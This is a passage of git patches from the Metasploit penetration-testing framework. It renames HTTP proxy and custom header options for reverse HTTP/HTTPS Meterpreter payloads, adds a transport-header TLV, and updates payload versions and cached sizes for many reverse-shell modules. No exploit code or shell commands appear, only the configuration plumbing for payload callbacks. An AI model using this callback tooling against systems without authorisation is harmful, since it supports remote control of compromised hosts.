+        met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
+      end
     end
 
     # patch in any optional stageless tcp socket setup

From 85acbadf01fe707be6a09a37da0f7c1a7c3d40e4 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 21 Sep 2017 03:05:03 -0500
Subject: [PATCH 177/254] more DRYing

---
 lib/msf/core/handler/reverse_https_proxy.rb | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/lib/msf/core/handler/reverse_https_proxy.rb b/lib/msf/core/handler/reverse_https_proxy.rb
index 1642460ad5..33269e20e2 100644
--- a/lib/msf/core/handler/reverse_https_proxy.rb
+++ b/lib/msf/core/handler/reverse_https_proxy.rb
@@ -39,13 +39,10 @@ module ReverseHttpsProxy
     register_options(
       [
         OptAddressLocal.new('LHOST', "The local listener hostname", default: "127.0.0.1"),
-        OptPort.new('LPORT', "The local listener port", default: 8443),
-        OptString.new('HttpProxyHost', "The proxy server's IP address", required: true, default: "127.0.0.1", aliases: ['PayloadProxyHost']),
-        OptPort.new('HttpProxyPort', "The proxy port to connect to", required: true, default: 8080, aliases: ['PayloadProxyPort']),
-        OptEnum.new('HttpProxyType', 'The proxy type, HTTP or SOCKS', enums: ['HTTP', 'SOCKS'], aliases: ['PayloadProxyType']),
-        OptString.new('HttpProxyUser', "An optional username for HTTP proxy authentication", aliases: ['PayloadProxyUser']),
-        OptString.new('HttpProxyPass', "An optional password for HTTP proxy authentication", aliases: ['PayloadProxyPass'])
-      ], Msf::Handler::ReverseHttpsProxy)
+        OptPort.new('LPORT', "The local listener port", default: 8443)
+      ] +
+      Msf::Opt::http_proxy_options,
+      Msf::Handler::ReverseHttpsProxy)
 
     register_advanced_options(
       [

From ea37196614476065efd3fd002a45573589608736 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 21 Sep 2017 08:27:58 -0500
Subject: [PATCH 178/254] use cooler names c/o @timwr, make options easier to
 grep

---
 lib/msf/core/opt.rb                           | 44 +++++--------------
 lib/msf/core/payload/java/reverse_http.rb     |  6 +--
 .../core/payload/python/meterpreter_loader.rb |  6 +--
 lib/msf/core/payload/python/reverse_http.rb   |  6 +--
 lib/msf/core/payload/transport_config.rb      |  6 +--
 lib/msf/core/payload/windows/reverse_http.rb  |  6 +--
 .../core/payload/windows/x64/reverse_http.rb  |  6 +--
 7 files changed, 29 insertions(+), 51 deletions(-)

diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb
index 3009710a1e..33e1beed32 100644
--- a/lib/msf/core/opt.rb
+++ b/lib/msf/core/opt.rb
@@ -59,8 +59,7 @@ module Msf
 
     # @return [OptEnum]
     def self.SSLVersion
-      Msf::OptEnum.new(
-        'SSLVersion',
+      Msf::OptEnum.new('SSLVersion',
         'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
         enums: self.ssl_supported_options
       )
@@ -68,14 +67,12 @@ module Msf
 
     def self.stager_retry_options
       [
-        OptInt.new(
-          'StagerRetryCount',
+        OptInt.new('StagerRetryCount',
           'The number of times the stager should retry if the first connect fails',
           default: 10,
           aliases: ['ReverseConnectRetries']
         ),
-        OptInt.new(
-          'StagerRetryWait',
+        OptInt.new('StagerRetryWait',
           'Number of seconds to wait for the stager between reconnect attempts',
           default: 5
         )
@@ -84,29 +81,19 @@ module Msf
 
     def self.http_proxy_options
       [
-        OptString.new(
-          'HttpProxyHost',
-          'An optional proxy server IP address or hostname',
+        OptString.new('HttpProxyHost', 'An optional proxy server IP address or hostname',
           aliases: ['PayloadProxyHost']
         ),
-        OptPort.new(
-          'HttpProxyPort',
-          'An optional proxy server port',
+        OptPort.new('HttpProxyPort', 'An optional proxy server port',
           aliases: ['PayloadProxyPort']
         ),
-        OptString.new(
-          'HttpProxyUser',
-          'An optional proxy server username',
+        OptString.new('HttpProxyUser', 'An optional proxy server username',
           aliases: ['PayloadProxyUser']
         ),
-        OptString.new(
-          'HttpProxyPass',
-          'An optional proxy server password',
+        OptString.new('HttpProxyPass', 'An optional proxy server password',
           aliases: ['PayloadProxyPass']
         ),
-        OptEnum.new(
-          'HttpProxyType',
-          'The type of HTTP proxy',
+        OptEnum.new('HttpProxyType', 'The type of HTTP proxy',
           enums: ['HTTP', 'SOCKS'],
           aliases: ['PayloadProxyType']
         )
@@ -115,18 +102,9 @@ module Msf
 
     def self.http_header_options
       [
-        OptString.new(
-          'HttpHeaderHost',
-          'An optional value to use for the Host HTTP header'
-        ),
-        OptString.new(
-          'HttpHeaderCookie',
-          'An optional value to use for the Cookie HTTP header'
-        ),
-        OptString.new(
-          'HttpHeaderReferer',
-          'An optional value to use for the Referer HTTP header'
-        )
+        OptString.new('HttpHostHeader', 'An optional value to use for the Host HTTP header'),
+        OptString.new('HttpCookie', 'An optional value to use for the Cookie HTTP header'),
+        OptString.new('HttpReferer', 'An optional value to use for the Referer HTTP header')
       ]
     end
 
diff --git a/lib/msf/core/payload/java/reverse_http.rb b/lib/msf/core/payload/java/reverse_http.rb
index 297184e92d..a454191032 100644
--- a/lib/msf/core/payload/java/reverse_http.rb
+++ b/lib/msf/core/payload/java/reverse_http.rb
@@ -68,9 +68,9 @@ module Payload::Java::ReverseHttp
     c =  ''
     c << "Spawn=#{ds["Spawn"] || 2}\n"
     c << "HeaderUser-Agent=#{ds["HttpUserAgent"]}\n" if ds["HttpUserAgent"]
-    c << "HeaderHost=#{ds["HttpHeaderHost"]}\n" if ds["HttpHeaderHost"]
-    c << "HeaderReferer=#{ds["HttpHeaderReferer"]}\n" if ds["HttpHeaderReferer"]
-    c << "HeaderCookie=#{ds["HttpHeaderCookie"]}\n" if ds["HttpHeaderCookie"]
+    c << "HeaderHost=#{ds["HttpHostHeader"]}\n" if ds["HttpHostHeader"]
+    c << "HeaderReferer=#{ds["HttpReferer"]}\n" if ds["HttpReferer"]
+    c << "HeaderCookie=#{ds["HttpCookie"]}\n" if ds["HttpCookie"]
     c << "URL=#{scheme}://#{ds['LHOST']}"
     c << ":#{ds['LPORT']}" if ds['LPORT']
     c << luri
diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb
index 11cb72d6c7..5bb0143857 100644
--- a/lib/msf/core/payload/python/meterpreter_loader.rb
+++ b/lib/msf/core/payload/python/meterpreter_loader.rb
@@ -98,9 +98,9 @@ module Payload::Python::MeterpreterLoader
     http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent']
     http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST']
     http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT']
-    http_header_host = opts[:header_host] || ds['HttpHeaderHost']
-    http_header_cookie = opts[:header_cookie] || ds['HttpHeaderCookie']
-    http_header_referer = opts[:header_referer] || ds['HttpHeaderReferer']
+    http_header_host = opts[:header_host] || ds['HttpHostHeader']
+    http_header_cookie = opts[:header_cookie] || ds['HttpCookie']
+    http_header_referer = opts[:header_referer] || ds['HttpReferer']
 
     # The callback URL can be different to the one that we're receiving from the interface
     # so we need to generate it
diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb
index 30a0e34fe3..f0981c9796 100644
--- a/lib/msf/core/payload/python/reverse_http.rb
+++ b/lib/msf/core/payload/python/reverse_http.rb
@@ -28,9 +28,9 @@ module Payload::Python::ReverseHttp
       proxy_host:     ds['HttpProxyHost'],
       proxy_port:     ds['HttpProxyPort'],
       user_agent:     ds['HttpUserAgent'],
-      header_host:    ds['HttpHeaderHost'],
-      header_cookie:  ds['HttpHeaderCookie'],
-      header_referer: ds['HttpHeaderReferer']
+      header_host:    ds['HttpHostHeader'],
+      header_cookie:  ds['HttpCookie'],
+      header_referer: ds['HttpReferer']
     })
     opts[:scheme] = 'http' if opts[:scheme].nil?
 
diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb
index 284347e1cb..7258561544 100644
--- a/lib/msf/core/payload/transport_config.rb
+++ b/lib/msf/core/payload/transport_config.rb
@@ -83,9 +83,9 @@ private
 
   def get_custom_headers(ds)
     headers = ""
-    headers << "Host: #{ds['HttpHeaderHost']}\r\n" if ds['HttpHeaderHost']
-    headers << "Cookie: #{ds['HttpHeaderCookie']}\r\n" if ds['HttpHeaderCookie']
-    headers << "Referer: #{ds['HttpHeaderReferer']}\r\n" if ds['HttpHeaderReferer']
+    headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
+    headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
+    headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
 
     if headers.length > 0
       headers
diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb
index c5895d9f2a..db89b7138d 100644
--- a/lib/msf/core/payload/windows/reverse_http.rb
+++ b/lib/msf/core/payload/windows/reverse_http.rb
@@ -72,9 +72,9 @@ module Payload::Windows::ReverseHttp
   #
   def get_custom_headers(ds)
     headers = ""
-    headers << "Host: #{ds['HttpHeaderHost']}\r\n" if ds['HttpHeaderHost']
-    headers << "Cookie: #{ds['HttpHeaderCookie']}\r\n" if ds['HttpHeaderCookie']
-    headers << "Referer: #{ds['HttpHeaderReferer']}\r\n" if ds['HttpHeaderReferer']
+    headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
+    headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
+    headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
 
     if headers.length > 0
       headers
diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb
index f31cf1ca24..d42d3497f2 100644
--- a/lib/msf/core/payload/windows/x64/reverse_http.rb
+++ b/lib/msf/core/payload/windows/x64/reverse_http.rb
@@ -77,9 +77,9 @@ module Payload::Windows::ReverseHttp_x64
   #
   def get_custom_headers(ds)
     headers = ""
-    headers << "Host: #{ds['HttpHeaderHost']}\r\n" if ds['HttpHeaderHost']
-    headers << "Cookie: #{ds['HttpHeaderCookie']}\r\n" if ds['HttpHeaderCookie']
-    headers << "Referer: #{ds['HttpHeaderReferer']}\r\n" if ds['HttpHeaderReferer']
+    headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
+    headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
+    headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
 
     if headers.length > 0
       headers

From fea28a89a5c1da39be035791d875c0b7126d24bd Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 4 Oct 2017 10:44:28 +1000
Subject: [PATCH 179/254] Fix TLV defs for http headers

---
 lib/rex/post/meterpreter/client_core.rb | 24 ++++++++++++++----------
 lib/rex/post/meterpreter/packet.rb      |  3 ++-
 2 files changed, 16 insertions(+), 11 deletions(-)

diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb
index 69d509ef89..79132a548c 100644
--- a/lib/rex/post/meterpreter/client_core.rb
+++ b/lib/rex/post/meterpreter/client_core.rb
@@ -139,15 +139,16 @@ class ClientCore < Extension
 
     response.each(TLV_TYPE_TRANS_GROUP) { |t|
       result[:transports] << {
-        :url          => t.get_tlv_value(TLV_TYPE_TRANS_URL),
-        :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
-        :retry_total  => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
-        :retry_wait   => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
-        :ua           => t.get_tlv_value(TLV_TYPE_TRANS_UA),
-        :proxy_host   => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
-        :proxy_user   => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
-        :proxy_pass   => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
-        :cert_hash    => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
+        :url            => t.get_tlv_value(TLV_TYPE_TRANS_URL),
+        :comm_timeout   => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
+        :retry_total    => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
+        :retry_wait     => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
+        :ua             => t.get_tlv_value(TLV_TYPE_TRANS_UA),
+        :proxy_host     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
+        :proxy_user     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
+        :proxy_pass     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
+        :cert_hash      => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH),
+        :custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS)
       }
     }
 
@@ -555,6 +556,7 @@ class ClientCore < Extension
     # We cannot migrate into a process that we are unable to open
     # On linux, arch is empty even if we can access the process
     if client.platform == 'windows'
+
       if target_process['arch'] == nil || target_process['arch'].empty?
         raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
       end
@@ -718,7 +720,8 @@ private
   # Get a reference to the currently active transport.
   #
   def get_current_transport
-    transport_list[:transports][0]
+    x = transport_list
+    x[:transports][0]
   end
 
   #
@@ -728,6 +731,7 @@ private
   def generate_migrate_stub(target_process)
     stub = nil
 
+
     if client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
       t = get_current_transport
 
diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb
index a027e25233..35fb4b0da1 100644
--- a/lib/rex/post/meterpreter/packet.rb
+++ b/lib/rex/post/meterpreter/packet.rb
@@ -102,7 +102,8 @@ TLV_TYPE_TRANS_PROXY_USER    = TLV_META_TYPE_STRING | 437
 TLV_TYPE_TRANS_PROXY_PASS    = TLV_META_TYPE_STRING | 438
 TLV_TYPE_TRANS_RETRY_TOTAL   = TLV_META_TYPE_UINT   | 439
 TLV_TYPE_TRANS_RETRY_WAIT    = TLV_META_TYPE_UINT   | 440
-TLV_TYPE_TRANS_GROUP         = TLV_META_TYPE_GROUP  | 441
+TLV_TYPE_TRANS_HEADERS       = TLV_META_TYPE_STRING | 441
+TLV_TYPE_TRANS_GROUP         = TLV_META_TYPE_GROUP  | 442
 
 TLV_TYPE_MACHINE_ID          = TLV_META_TYPE_STRING | 460
 TLV_TYPE_UUID                = TLV_META_TYPE_RAW    | 461

From 40509856493bc36ad8194257cc8548e6209dfb1b Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Tue, 21 Nov 2017 13:53:33 -0600
Subject: [PATCH 180/254] update payloads

---
 Gemfile.lock                                                  | 4 ++--
 metasploit-framework.gemspec                                  | 2 +-
 modules/payloads/singles/cmd/unix/reverse_nodejs.rb           | 2 +-
 modules/payloads/singles/java/shell_reverse_tcp.rb            | 2 +-
 .../payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb | 2 +-
 .../singles/linux/mipsbe/meterpreter_reverse_https.rb         | 2 +-
 .../payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb  | 2 +-
 modules/payloads/singles/nodejs/shell_reverse_tcp.rb          | 2 +-
 modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb      | 2 +-
 modules/payloads/singles/python/meterpreter_bind_tcp.rb       | 2 +-
 modules/payloads/singles/python/meterpreter_reverse_http.rb   | 2 +-
 modules/payloads/singles/python/meterpreter_reverse_https.rb  | 2 +-
 modules/payloads/singles/python/meterpreter_reverse_tcp.rb    | 2 +-
 modules/payloads/singles/windows/meterpreter_bind_tcp.rb      | 2 +-
 modules/payloads/singles/windows/meterpreter_reverse_http.rb  | 2 +-
 modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +-
 .../payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb  | 2 +-
 modules/payloads/singles/windows/meterpreter_reverse_tcp.rb   | 2 +-
 modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb  | 2 +-
 .../payloads/singles/windows/x64/meterpreter_reverse_http.rb  | 2 +-
 .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +-
 .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb       | 2 +-
 .../payloads/singles/windows/x64/meterpreter_reverse_tcp.rb   | 2 +-
 modules/payloads/stagers/java/bind_tcp.rb                     | 2 +-
 modules/payloads/stagers/java/reverse_http.rb                 | 2 +-
 modules/payloads/stagers/java/reverse_https.rb                | 2 +-
 modules/payloads/stagers/java/reverse_tcp.rb                  | 2 +-
 modules/payloads/stagers/windows/reverse_http.rb              | 2 +-
 modules/payloads/stagers/windows/reverse_https.rb             | 2 +-
 modules/payloads/stagers/windows/reverse_https_proxy.rb       | 2 +-
 modules/payloads/stagers/windows/reverse_winhttp.rb           | 2 +-
 modules/payloads/stagers/windows/reverse_winhttps.rb          | 2 +-
 modules/payloads/stagers/windows/x64/reverse_http.rb          | 2 +-
 modules/payloads/stagers/windows/x64/reverse_https.rb         | 2 +-
 modules/payloads/stagers/windows/x64/reverse_winhttp.rb       | 2 +-
 modules/payloads/stagers/windows/x64/reverse_winhttps.rb      | 2 +-
 36 files changed, 37 insertions(+), 37 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index c20a197a6d..f83e37305d 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -17,7 +17,7 @@ PATH
       metasploit-concern
       metasploit-credential
       metasploit-model
-      metasploit-payloads (= 1.3.14)
+      metasploit-payloads (= 1.3.15)
       metasploit_data_models
       metasploit_payloads-mettle (= 0.2.5)
       msgpack
@@ -178,7 +178,7 @@ GEM
       activemodel (~> 4.2.6)
       activesupport (~> 4.2.6)
       railties (~> 4.2.6)
-    metasploit-payloads (1.3.14)
+    metasploit-payloads (1.3.15)
     metasploit_data_models (2.0.15)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index b5909960ca..594a372aa0 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
   # are needed when there's no database
   spec.add_runtime_dependency 'metasploit-model'
   # Needed for Meterpreter
-  spec.add_runtime_dependency 'metasploit-payloads', '1.3.14'
+  spec.add_runtime_dependency 'metasploit-payloads', '1.3.15'
   # Needed for the next-generation POSIX Meterpreter
   spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.5'
   # Needed by msfgui and other rpc components
diff --git a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb
index 6622bbfef4..4b20b17172 100644
--- a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
 
-  CachedSize = 3239
+  CachedSize = 3231
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS
diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb
index 4fa8c97d53..d87445f832 100644
--- a/modules/payloads/singles/java/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/java/shell_reverse_tcp.rb
@@ -9,7 +9,7 @@ require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
 
-  CachedSize = 7359
+  CachedSize = 7544
 
   include Msf::Payload::Single
   include Msf::Payload::Java
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
index d1749f9c25..3a5b484828 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1053924
+  CachedSize = 1029776
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
index bc1d3f2c08..bc464ffbc7 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1053924
+  CachedSize = 1029776
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
index cc021b9ff2..a01c6f9db5 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1053924
+  CachedSize = 1029776
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb
index 6cd4278eb5..dffa4838b1 100644
--- a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb
@@ -13,7 +13,7 @@ require 'msf/base/sessions/command_shell'
 
 module MetasploitModule
 
-  CachedSize = 805
+  CachedSize = 803
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS
diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
index d2fa02fa4b..29cbe3588d 100644
--- a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
+++ b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
 
-  CachedSize = 833
+  CachedSize = 831
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS
diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb
index 3d097c72a7..f5e7303a36 100644
--- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb
+++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
 
 module MetasploitModule
 
-  CachedSize = 56570
+  CachedSize = 57798
 
   include Msf::Payload::Single
   include Msf::Payload::Python
diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb
index 354fd0852e..f016ee0023 100644
--- a/modules/payloads/singles/python/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
 
 module MetasploitModule
 
-  CachedSize = 56530
+  CachedSize = 57762
 
   include Msf::Payload::Single
   include Msf::Payload::Python
diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb
index dbf19dc526..d13916ecb6 100644
--- a/modules/payloads/singles/python/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
 
 module MetasploitModule
 
-  CachedSize = 56534
+  CachedSize = 57762
 
   include Msf::Payload::Single
   include Msf::Payload::Python
diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb
index f63420ede9..721b61e0de 100644
--- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
 
 module MetasploitModule
 
-  CachedSize = 56486
+  CachedSize = 57714
 
   include Msf::Payload::Single
   include Msf::Payload::Python
diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb
index 4aa49bfccd..79e23e6a0c 100644
--- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb
+++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 179267
+  CachedSize = 179779
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb
index 12cb6341e7..2bcca8d51c 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 180311
+  CachedSize = 180825
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb
index 539bfd288f..2f470a05b9 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 180311
+  CachedSize = 180825
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
index 23d9de6df9..dce4c880d4 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 179267
+  CachedSize = 179779
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
index 256f5b6225..bacdd2591d 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 179267
+  CachedSize = 179779
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
index 058078b353..86df5d345e 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 205379
+  CachedSize = 205891
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
index 0398f24b52..b88ce277d6 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 206423
+  CachedSize = 206937
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
index 5679a3a8be..f3fd8e639b 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 206423
+  CachedSize = 206937
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb
index bb151559da..102840f525 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 205379
+  CachedSize = 205891
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb
index 337ebe2c73..b38fe1f070 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb
